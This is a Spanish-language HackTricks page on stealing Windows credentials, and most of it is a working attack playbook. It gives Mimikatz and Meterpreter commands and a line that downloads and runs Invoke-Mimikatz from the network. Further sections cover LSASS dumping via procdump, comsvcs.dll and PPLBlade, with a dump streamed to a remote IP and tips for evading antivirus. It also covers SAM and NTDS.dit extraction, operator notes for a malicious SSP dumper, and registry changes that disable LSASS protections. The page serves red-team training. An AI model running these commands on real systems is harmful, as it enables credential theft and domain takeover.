Robo de Windows Credentials
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Credentials con Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Encuentra otras cosas que Mimikatz puede hacer en esta página.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Aprende sobre algunas posibles protecciones de credentials aquí. Estas protecciones podrían impedir que Mimikatz extraiga algunas credentials.
Credentials con Meterpreter
Usa el Credentials Plugin que he creado para buscar passwords y hashes dentro de la víctima.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Bypassing AV
Procdump + Mimikatz
Como Procdump de SysInternals es una herramienta legítima de Microsoft, no es detectada por Defender.
Puedes usar esta herramienta para dump the lsass process, download the dump y extract las credentials locally del dump.
También puedes usar SharpDump.
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
Este proceso se realiza automáticamente con SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Nota: Algunos AV pueden detectar como malicioso el uso de procdump.exe to dump lsass.exe, esto se debe a que están detectando la cadena “procdump.exe” y “lsass.exe”. Por eso es más sigiloso pasar como argumento el PID de lsass.exe a procdump en lugar del nombre lsass.exe.
Dumping lsass with comsvcs.dll
Una DLL llamada comsvcs.dll ubicada en C:\Windows\System32 es responsable del volcado de memoria del proceso en caso de un crash. Esta DLL incluye una función llamada MiniDumpW, diseñada para ser invocada usando rundll32.exe.
No importa usar los dos primeros argumentos, pero el tercero se divide en tres componentes. El ID del proceso a volcar constituye el primer componente, la ubicación del archivo de volcado representa el segundo, y el tercer componente es estrictamente la palabra full. No existen opciones alternativas.
Al analizar estos tres componentes, la DLL procede a crear el archivo de volcado y a transferir la memoria del proceso especificado a dicho archivo.
El uso de la comsvcs.dll es factible para volcar el proceso lsass, eliminando así la necesidad de subir y ejecutar procdump. Este método se describe en detalle en https://en.hackndo.com/remote-lsass-dump-passwords/.
El siguiente comando se emplea para la ejecución:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Puedes automatizar este proceso con lssasy.
Volcado de lsass con el Administrador de tareas
- Haz clic derecho en la barra de tareas y abre Administrador de tareas
- Haz clic en Más detalles
- Busca el proceso “Local Security Authority Process” en la pestaña Procesos
- Haz clic derecho sobre el proceso “Local Security Authority Process” y selecciona “Crear archivo de volcado”.
Dumping lsass with procdump
Procdump es un binario firmado por Microsoft que forma parte de la suite sysinternals.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Volcando lsass con PPLBlade
PPLBlade es una herramienta de volcado de procesos protegidos que permite ofuscar los volcados de memoria y transferirlos a estaciones de trabajo remotas sin escribirlos en disco.
Funcionalidades clave:
- Evadir la protección PPL
- Ofuscar archivos de volcado de memoria para evadir los mecanismos de detección basados en firmas de Defender
- Subir volcados de memoria usando los métodos RAW y SMB sin escribirlos en disco (fileless dump)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
LalsDumper – volcado de LSASS basado en SSP sin MiniDumpWriteDump
Ink Dragon incluye un dumper en tres etapas denominado LalsDumper que nunca llama a MiniDumpWriteDump, por lo que los hooks de EDR sobre esa API nunca se activan:
- Stage 1 loader (
lals.exe) – busca enfdp.dllun marcador de posición formado por 32 caracteresden minúscula, lo sobrescribe con la ruta absoluta artu.txt, guarda la DLL parcheada comonfdp.dlly llama aAddSecurityPackageA("nfdp","fdp"). Esto obliga a LSASS a cargar la DLL maliciosa como un nuevo Security Support Provider (SSP). - Stage 2 inside LSASS – cuando LSASS carga
nfdp.dll, la DLL leertu.txt, aplica XOR a cada byte con0x20y mapea el blob decodificado en memoria antes de transferir la ejecución. - Stage 3 dumper – el payload mapeado re-implementa la lógica de MiniDump usando direct syscalls resueltas desde nombres de API hasheados (
seed = 0xCD7815D6; h ^= (ch + ror32(h,8))). Una exportación dedicada llamadaTomabre%TEMP%\<pid>.ddt, escribe un dump comprimido de LSASS en el archivo y cierra el handle para que la exfiltración pueda realizarse más tarde.
Notas del operador:
- Mantén
lals.exe,fdp.dll,nfdp.dllyrtu.txten el mismo directorio. La etapa 1 reescribe el placeholder codificado con la ruta absoluta artu.txt, por lo que separarlos rompe la cadena. - El registro se realiza añadiendo
nfdpaHKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Puedes establecer ese valor tú mismo para que LSASS recargue el SSP en cada arranque. - Los archivos
%TEMP%\*.ddtson dumps comprimidos. Descomprímelos localmente y luego pásalos a Mimikatz/Volatility para la extracción de credenciales. - Ejecutar
lals.exerequiere privilegios admin/SeTcb para queAddSecurityPackageAtenga éxito; una vez que la llamada retorna, LSASS carga de forma transparente el SSP malicioso y ejecuta Stage 2. - Eliminar la DLL del disco no la expulsa de LSASS. O bien borra la entrada del registro y reinicia LSASS (reboot), o déjala para persistencia a largo plazo.
CrackMapExec
Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Volcar el NTDS.dit desde el DC objetivo
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Dump el historial de contraseñas de NTDS.dit desde el target DC
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Mostrar el atributo pwdLastSet para cada cuenta de NTDS.dit
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Stealing SAM & SYSTEM
Estos archivos deberían estar ubicados en C:\windows\system32\config\SAM y C:\windows\system32\config\SYSTEM. Pero no puedes copiarlos de forma normal porque están protegidos.
Desde el Registro
La forma más fácil de obtener esos archivos es sacar una copia del registro:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Descarga esos archivos en tu máquina Kali y extrae los hashes usando:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Copias de sombra de volumen
Puedes realizar copias de archivos protegidos usando este servicio. Necesitas ser Administrador.
Usando vssadmin
El binario vssadmin solo está disponible en las versiones de Windows Server.
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Pero puedes hacer lo mismo desde Powershell. Este es un ejemplo de cómo copiar el SAM file (el disco duro usado es “C:” y se guarda en C:\users\Public) pero puedes usar esto para copiar cualquier archivo protegido:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}
Invoke-NinjaCopy
Finalmente, también puedes usar el PS script Invoke-NinjaCopy para hacer una copia de SAM, SYSTEM y ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Credenciales de Active Directory - NTDS.dit
El archivo NTDS.dit es conocido como el corazón de Active Directory, y contiene datos cruciales sobre objetos de usuario, grupos y sus pertenencias. Allí se almacenan los password hashes de los usuarios del dominio. Este archivo es una base de datos Extensible Storage Engine (ESE) y reside en %SystemRoom%/NTDS/ntds.dit.
Dentro de esta base de datos se mantienen tres tablas principales:
- Data Table: Esta tabla se encarga de almacenar detalles sobre objetos como usuarios y grupos.
- Link Table: Mantiene el seguimiento de las relaciones, como pertenencias a grupos.
- SD Table: Aquí se guardan los Security descriptors de cada objeto, garantizando la seguridad y el control de acceso de los objetos almacenados.
More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows usa Ntdsa.dll para interactuar con ese archivo y es usado por lsass.exe. Entonces, parte del archivo NTDS.dit podría estar ubicada dentro de la memoria de lsass (puedes encontrar probablemente los datos accedidos más recientemente debido a la mejora de rendimiento al usar una cache).
Descifrado de los hashes dentro de NTDS.dit
El hash está cifrado 3 veces:
- Descifrar la Password Encryption Key (PEK) usando el BOOTKEY y RC4.
- Descifrar el hash usando PEK y RC4.
- Descifrar el hash usando DES.
PEK tiene el mismo valor en cada controlador de dominio, pero está cifrado dentro del archivo NTDS.dit usando el BOOTKEY del archivo SYSTEM del controlador de dominio (es diferente entre controladores de dominio). Por eso, para obtener las credenciales del archivo NTDS.dit necesitas los archivos NTDS.dit y SYSTEM (C:\Windows\System32\config\SYSTEM).
Copiando NTDS.dit usando Ntdsutil
Disponible desde Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
También podrías usar el truco de la volume shadow copy para copiar el archivo ntds.dit. Recuerda que también necesitarás una copia del archivo SYSTEM (de nuevo, dump it from the registry or use the volume shadow copy trick).
Extracción de hashes desde NTDS.dit
Una vez que hayas obtenido los archivos NTDS.dit y SYSTEM, puedes usar herramientas como secretsdump.py para extraer los hashes:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
También puedes extraerlos automáticamente usando un usuario válido de administrador de dominio:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Para archivos NTDS.dit grandes se recomienda extraerlos usando gosecretsdump.
Finalmente, también puedes usar el metasploit module: post/windows/gather/credentials/domain_hashdump o mimikatz lsadump::lsa /inject
Extracción de objetos de dominio de NTDS.dit a una base de datos SQLite
Los objetos de NTDS pueden extraerse a una base de datos SQLite con ntdsdotsqlite. No solo se extraen los secrets, sino también los objetos completos y sus atributos para una extracción de información adicional cuando el archivo NTDS.dit sin procesar ya ha sido recuperado.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
La colmena SYSTEM es opcional pero permite la desencriptación de secretos (NT & LM hashes, credenciales suplementarias como cleartext passwords, kerberos o trust keys, historiales de contraseñas NT & LM). Junto con otra información, se extraen los siguientes datos: cuentas de usuario y de máquina con sus hashes, flags de UAC, marca temporal del último inicio de sesión y del cambio de contraseña, descripción de las cuentas, nombres, UPN, SPN, grupos y membresías recursivas, árbol de unidades organizativas y membresía, dominios de confianza con tipo de trust, dirección y atributos…
Lazagne
Descarga el binario desde here. Puedes usar este binario para extraer credenciales de varios software.
lazagne.exe all
Otras herramientas para extraer credenciales de SAM y LSASS
Windows credentials Editor (WCE)
Esta herramienta puede usarse para extraer credenciales de la memoria. Descárgala desde: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Extrae credenciales del archivo SAM
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Extraer credenciales del archivo SAM
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Descárgalo desde: http://www.tarasco.org/security/pwdump_7 y simplemente ejecútalo y las contraseñas serán extraídas.
Minería de sesiones RDP inactivas y debilitamiento de controles de seguridad
El FinalDraft RAT de Ink Dragon incluye un tasker DumpRDPHistory cuyas técnicas son útiles para cualquier red-teamer:
Recolección de telemetría estilo DumpRDPHistory
- Outbound RDP targets – analiza cada hive de usuario en
HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*. Cada subclave almacena el nombre del servidor,UsernameHint, y la marca de tiempo de la última escritura. Puedes replicar la lógica de FinalDraft con PowerShell:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
- Inbound RDP evidence – consulta el registro
Microsoft-Windows-TerminalServices-LocalSessionManager/Operationalen busca de Event IDs 21 (inicio de sesión exitoso) y 25 (desconexión) para mapear quién administró la máquina:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
Una vez que sepas qué Domain Admin se conecta regularmente, volca LSASS (con LalsDumper/Mimikatz) mientras su sesión desconectada aún exista. CredSSP + NTLM fallback deja su verificador y tokens en LSASS, que luego pueden ser reproducidos a través de SMB/WinRM para capturar NTDS.dit o preparar persistencia en controladores de dominio.
Degradaciones del registro dirigidas por FinalDraft
El mismo implant también manipula varias claves del registro para facilitar el robo de credenciales:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
- Setting
DisableRestrictedAdmin=1forces full credential/ticket reuse during RDP, enabling pass-the-hash style pivots. LocalAccountTokenFilterPolicy=1disables UAC token filtering so local admins get unrestricted tokens over the network.DSRMAdminLogonBehavior=2lets the DSRM administrator log on while the DC is online, giving attackers another built-in high-privilege account.RunAsPPL=0removes LSASS PPL protections, making memory access trivial for dumpers such as LalsDumper.
References
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


